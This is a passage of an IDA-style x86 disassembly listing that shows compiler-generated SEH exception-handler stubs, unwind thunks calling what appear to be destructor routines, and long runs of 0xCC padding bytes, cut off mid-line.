--------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 